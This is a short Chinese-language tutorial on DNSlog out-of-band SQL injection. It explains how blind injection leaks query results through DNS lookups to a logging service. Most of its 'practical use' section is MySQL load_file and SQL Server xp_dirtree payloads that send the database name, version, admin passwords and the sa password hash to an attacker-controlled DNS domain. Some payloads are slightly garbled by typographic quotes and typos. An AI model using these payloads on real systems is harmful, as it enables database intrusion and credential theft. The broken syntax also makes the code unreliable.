原理
DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。将带有查询的语句发起dns查询请求,通过dns请求查询到值,组合成三级域名,在ns服务器dns的日志中显示出来。 无回显注入,一般使用布尔型盲注入和延时注入 查询数据,但是这两种查询都是很慢,dnslog查询因为是直接显示数据,所以这种注入效率上面说的这种都要好太多。 最长的字符好似67个### 平台 http://ceye.io### 实战利用
实战mysql
查询库当前库select from users where id=’1’ and if((select load_file(concat(‘\\‘,(select database()),’dnslog地址’))),1,0)查询当前数据库版本select from users where id=’1’ and if((select load_file(concat(‘\\‘,(select VERSION()),’dnslog地址’))),1,0)查询admin表的账号和密码?id=1 and if((select load_file(concat(‘\\‘,(select password from admin),’dnslog地址’))),1,0)load_file 使用这个函数必须在mysgl开启 secure file_pry=设置可以读取方可使用这个函数### 实战sqlserver 首先declare @host verchar(1024); select @host=(select top 1 master.dbo.fn_varbintohexstr(password_hash)from sys.sql_logins where name=’sa’)+’ip.port.dnslog地址’;EXEC(‘master..xp_dirtree”\‘+@host+’\foobar$”‘);查询数据?id=1;declare @host varchar(1024);select @host=(select top 1 password from admin)+’ip.port.dnslog地址’;EXEC(‘master..xp_dirtree”\‘+@host+’\foobar$”‘);